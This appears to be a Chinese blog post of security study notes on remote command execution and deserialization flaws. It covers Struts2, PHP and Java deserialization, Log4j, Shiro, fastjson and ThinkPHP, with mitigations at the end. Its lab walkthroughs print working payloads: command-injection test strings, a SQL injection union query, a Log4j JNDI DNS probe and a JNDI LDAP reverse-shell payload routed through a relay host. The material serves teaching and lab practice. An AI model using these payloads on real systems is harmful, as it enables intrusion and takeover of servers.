- 命令执行(RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。):
- 分类:
- 远程系统命令执行 exec()、system()、assert():
- 设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
- 涉及系统命令:assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
- 远程代码执行 eval():
- 没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。
- 涉及代码命令:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
- 远程系统命令执行 exec()、system()、assert():
- 命令执行测试方法:
- &
- && (搜索框输入127.0.0.1&&ipconfig 进行测试)
- |
- || (搜索框输入127.0.0.1||ipconfig 进行测试)
- 查找命令执行漏洞:
- 只要带参数的地方都可能出现命令执行漏洞,留言的地方,搜索框
- 常见的路由器、防火墙、入侵检测、自动化运维平台
- 代码执行:
- 总结一句话:
- 参数给变量的时候,交给了一个不安全的函数(eval、exex、system等)处理。
- struts2框架漏洞(s2-045、s2-046、s2-048都是命令执行漏洞,没有反序列化漏洞)实战 (手工测试:在user-agent头里边插入攻击代码,攻击代码码包含struts2字眼) | 面试经常问:
- K8 Struts2 Exp工具测试struts2漏洞 | S2-045漏洞复现

- 上传至指定目录文件:

- Struts2 漏洞检查工具2018版 使用 上传木马到 网站根目录,使用菜刀进行连接 S2-046漏洞复现
- 分类:
- 反序列化(将字符串转换为对象),序列化(将对象转化为字符串) | 其实就是一串编码后的代码,相当与代码执行:
- 原理:
- 就是把一个对象变成可以传输的字符串,目的就是为了方便传输

- 条件:
- 参数必须是可控的
- 不正确的使用了魔术函数

- 分类:
- php反序列化 | serialize() 序列化,将对象转换成一个字符串、unserialize() 反序列化,将字符串转化成对象
- 原理:
- 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。

- #PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发 
- 有类(class)
- 触发魔术方法 (__construct | __destruct | __wakeup | __tostring )
- 无类
- 原理:
- java反序列化
- 原理:
- 过程:
- 理解:
- #序列化和反序列化
序列化(Serialization): 将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
- #序列化和反序列化
- 反序列化特征:
- 一段数据以 rO0AB 开头,基本就可以确定这串就是JAVA序列化base64加密的数据
- 以aced开头,基本就是java序列化的16进制
- java反序列化实战(CTF考题):
- 打开靶场环境:

- 下载文档clas,查看存在sql注入漏洞:

- 火狐hackbar修改为post提交,发包到bp

- 构建sql注入payload:dbName=myapp?a=' union select (select pwd from user)#

- 分析代码得出有swagger-ui框架,直接地址栏输入即可展现页面:


- 找到/common/user/login 输入获得的账号密码: 账号:ctfhub 密码:ctfhub_28331_21767。登录成功

- 原理:
- jboss反序列化利用(直接使用java反序列化工具利用漏洞,工具更快一点,看见是jboss中间件的web应用,就应该想到利用这个工具):
- weblogic反序列化漏洞利用(使用工具进行漏洞利用):
- weblogic任意文件上传漏洞利用(CVE-2018-2894):
- weblogic包含哪些漏洞:
- Java 反序列化漏洞操作(CVE-2018-2628)、
任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725、未授权访问
- Java 反序列化漏洞操作(CVE-2018-2628)、
- php反序列化 | serialize() 序列化,将对象转换成一个字符串、unserialize() 反序列化,将字符串转化成对象
- 应用:
- 真实应用下
- 各种CTF比赛中
- 危害:
- SQL注入
- 代码执行
- 目录遍历
- apache log4j漏洞复现(CVE-2021-44228):
- 特征码:Dlog4j2
- log4j说明:Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
- 影响版本:Log4j2.x - Log4j2.15.0-rcl
- 危害:高危,该漏洞影响范围极广,危害极大。
- 表现:Apache log4j2的版本在
2.0 ~ 2.14.1之间时,存在JNDI注入漏洞,攻击者可以控制日志消息或日志消息参数,在启用消息查找替换时执行从LDAP服务器加载的任意代码。 - vulhub靶场搜索 log4j:find /root/vulhub -name "log4j"
- 进入对应靶场环境,docker启动环境:

- docker ps查看靶场信息:

- 地址栏输入地址进入靶场:

- 使用DNSlog平台测试回显,payload:{jndi:dns://{jndi:dns://{sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:
- 地址栏直接访问:http://140.143.36.109:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.jby81f.dnslog.cn}

- 可以看到回显java版本是 1.8,说明存在漏洞

- 反弹shell:
- 攻击者ip:192.168.56.133
- 靶机ip:192.168.56.148
- 中转机ip:192.168.56.166
- 流程:
- 首先在中转机使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:
- java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.56.166

- 然后在攻击机上开启监听:

- 构建payload:http://192.168.56.148:8983/solr/admin/cores?action=${jndi:ldap://192.168.56.166:1389/Basic/ReverseShell/192.168.56.133/6666}
- 查看攻击机反弹shell成功:

- 此时中转机器上:

- 漏洞缓解措施:
- jvm参数 -Dlog4j2.formatMsgNoLookups=true
- log4j2.formatMsgNoLookups=True
- 升级补丁到 log4j2.15
- apache shiro安全框架反序列化漏洞(CVE-2016-4437)复现:
- Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API
- 特征码:请求包里边有rememberme参数

- 进入vulhub-master/shiro/CVE-2016-4437目录下
docker环境启动:docker-compose up -d - 打开shiro web框架网站:

- 使用ShiroExploit.jar 进行漏洞测试,反弹shell

- 反弹shell成功

- fastjson漏洞(1.2.47-rce 远程命令执行漏洞复现):
- fastjson简介:fastjson是一个Java语言编写的高性能功能完善的JSON库。
- 漏洞原因:checkAutoType 黑名单中可绕过
- 漏洞背景:在2019年6月,fastjson 被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
- 漏洞分析:此漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
- Thinkphp漏洞复现(2-rce漏洞复现):
- 影响版本:Thinkphp5.0-5.0.23
- 实验环境:
- 靶机:centos 7虚拟机IP(192.168.56.132)
- 攻击机:windows 10物理机(192.168.15.133)
- 原理:
- 安全防范:
- waf
- 安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数 - 升级中间件
- 严格控制传入变量,严谨使用魔法函数
命令执行(RCE)与反序列化
最新推荐文章于 2025-11-25 05:03:56 发布
本文深入探讨了命令执行(RCE)和反序列化漏洞,包括远程系统命令执行(如`exec()`、`system()`等)和远程代码执行(如`eval()`)。提到了常见漏洞利用方法,如命令注入测试、Struts2框架漏洞,以及PHP和Java的反序列化原理和危害。同时,文章还列举了防御措施,如禁用危险函数、升级补丁和安全配置。







1万+

被折叠的 条评论
为什么被折叠?



